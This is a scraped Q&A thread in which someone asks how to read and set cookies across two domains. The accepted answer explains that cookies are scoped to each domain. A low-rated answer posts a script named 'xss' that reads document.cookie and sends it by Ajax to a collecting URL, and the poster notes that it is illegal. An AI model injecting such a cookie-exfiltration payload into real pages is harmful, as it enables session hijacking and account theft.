I want to be able to access and set cookies between example.com and mysite.com. How do I do that?
            Asked
            
        
        
            Active
            
        
            Viewed 9,781 times
        
    5
            
            
        - 
                    1You cannot do that directly. What are you trying to accomplish? Also search here and the Internet for "cross domain cookies" for workarounds. – Matthew Aug 30 '10 at 17:17
- 
                    1possible duplicate: http://stackoverflow.com/questions/263010/whats-your-favorite-cross-domain-cookie-sharing-approach – Alec Smart Aug 30 '10 at 17:18
- 
                    another possible duplicate: https://stackoverflow.com/questions/3342140/cross-domain-cookies – Anderson Green Feb 24 '22 at 21:38
2 Answers
2
            You cannot do that with cookies alone: they are set explicitly per-domain, and there isn't a legitimate (read: "non-exploit") way to set them for another domain.
However, if you control both servers, it may be possible to use some workarounds/hacks to achieve this, but pretty it isn't, and it may break unexpectedly (see this question; the answers there should help you to a solution).
 
    
    
        Community
        
- 1
- 1
 
    
    
        Piskvor left the building
        
- 91,498
- 46
- 177
- 222
0
            
            
        <script>
  function xss(){
    var cookies = document.cookie;
    new Ajax.Request('//localhost/index.php?cookies='+cookies, {
      onSuccess: function(response) {
        alert(cookies);
      }
    });
  }
  xss();
</script>
PS but it's illegal. I use prototype lib.
 
    
    
        Brant Olsen
        
- 5,628
- 5
- 36
- 53
- 
                    2Please expand on the `it's illegal` and why you use prototype lib to improve your answer. – Brant Olsen May 29 '13 at 19:53
 
     
    